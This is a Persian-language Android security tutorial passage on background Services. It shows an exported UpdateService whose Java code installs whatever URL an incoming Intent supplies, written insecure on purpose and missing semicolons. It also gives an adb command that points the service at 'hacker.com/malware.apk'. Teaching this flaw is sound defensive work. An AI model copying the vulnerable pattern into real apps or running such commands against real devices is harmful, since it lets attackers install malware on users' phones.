Skip to content

۴. سرویس‌ها (Services): اجرای کدهای پنهان ​

سرویس‌ها دقیقا چه کارهایی انجام می‌دهند؟

هر کاری که نیاز به زمان طولانی دارد و نباید با بستن صفحه برنامه قطع شود، توسط سرویس انجام می‌شود. به طور مثال:

  • پخش موسیقی: وقتی آهنگ را پلی می‌کنید و از اپلیکیشن خارج می‌شوید تا با یک برنامه دیگر کار کنید، یک «سرویس» در حال پخش آهنگ است.

  • آپلود یا دانلود فایل: وقتی در تلگرام فایلی را می‌فرستید و برنامه را می‌بندید، سرویس در پس‌زمینه به آپلود ادامه می‌دهد.

  • همگام‌سازی (Sync): برنامه‌هایی مثل ایمیل که هر چند دقیقه چک می‌کنند پیام جدید دارید یا نه.

  • ردیابی GPS: برنامه‌های تاکسی اینترنتی یا ورزشی که مسیر حرکت شما را حتی وقتی گوشی قفل است ثبت می‌کنند.

سناریو حمله: یک سرویس مسئول دانلود آپدیت‌ها و نصب آن‌هاست. اگر مهاجم بتواند پارامتر URL را در Intent ورودی این سرویس تغییر دهد، سرویس به جای آپدیت اصلی، یک بدافزار را دانلود و اجرا می‌کند.

xml
<service android:name=".UpdateService" android:exported="true" />
java
public class UpdateService extends IntentService {
    @Override
    protected void onHandleIntent(Intent intent) {
        /* فاجعه: گرفتن مستقیم آدرس از اینتنت بدون فیلتر کردن! */        
        String downloadUrl = intent.getStringExtra("URL_KEY")
        
        /* فرض کنید اینجا متدی هست که فایل را دانلود و نصب می‌کند */        
        downloadAndInstall(downloadUrl)
    }
}
bash
adb shell am startservice -n com.app.package/.UpdateService --es "URL_KEY" "https://hacker.com/malware.apk"